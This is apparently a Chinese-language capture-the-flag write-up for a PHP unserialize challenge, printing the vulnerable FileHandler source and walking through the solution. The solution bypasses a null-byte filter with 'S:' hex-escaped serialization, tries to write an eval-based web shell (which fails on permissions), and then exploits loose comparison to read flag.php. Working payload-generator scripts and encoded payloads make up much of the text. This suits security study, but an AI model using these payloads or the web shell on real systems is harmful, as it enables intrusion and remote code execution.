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| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
|
进来给了源码是一个反序列化，我们在这里可以发现类的属性是protected有这个属性的成员在被序列化时，是会在属性名前加上\x00*\x00
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| function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
|
而一开始又有这个函数来校验，这直接把\00给过滤了，也就是说正常序列化的payload是不行了
这里解决也很简单，采用S能解析十六进制的功能来绕过就行
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| public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
。。。
if($this->op === "2")
$this->op = "1";
|
从这两段代码可以看出出题人有意让op一直等于1
1会执行一个写文件的操作，这里我尝试写木马上去
写一个脚本
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| <?php
class FileHandler
{
protected $op;
protected $filename;
protected $content;
public function __construct()
{
$this->op = "1";
$this->filename = "shell.php";
$this->content = "<?php @eval(\$_GET['cmd']);?>";
}
}
$a = new FileHandler();
$a = serialize($a);
$a = preg_replace("/s:/", "S:", $a);
$a = urlencode($a);
$a = str_replace('%00', '\00', $a);
echo $a;
|
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| O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3BS%3A1%3A%221%22%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A9%3A%22shell.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BS%3A28%3A%22%3C%3Fphp+%40eval%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%3B%7D
|
发payload过去后却显示这里是没有写入权限的
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| Warning: file_put_contents(shell.php): failed to open stream: Permission denied in /var/www/html/index.php on line 37
[Result]:
Failed!
|
然后我们只能通过读文件来获取flag了，注意看这段代码，是强比较
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| if($this->op === "2")
$this->op = "1";
|
而这个是弱比较
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| public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
|
也就是说如果我们把op赋值为数字2，就不会被重新赋值为字符1，而且还能进入读文件操作
写一个脚本，这里是file_get_contents所以是可以直接包含文件的
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| <?php
class FileHandler
{
protected $op;
protected $filename;
protected $content;
public function __construct()
{
$this->op = 2;
$this->filename = "flag.php";
}
}
$a = new FileHandler();
$a = serialize($a);
$a = preg_replace("/s:/", "S:", $a);
$a = urlencode($a);
$a = str_replace('%00', '\00', $a);
echo $a;
|
查看源码得到flag
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| <?php $flag='flag{0615d8f0-4795-4f3f-b4d2-c1afa5c26825}';
|
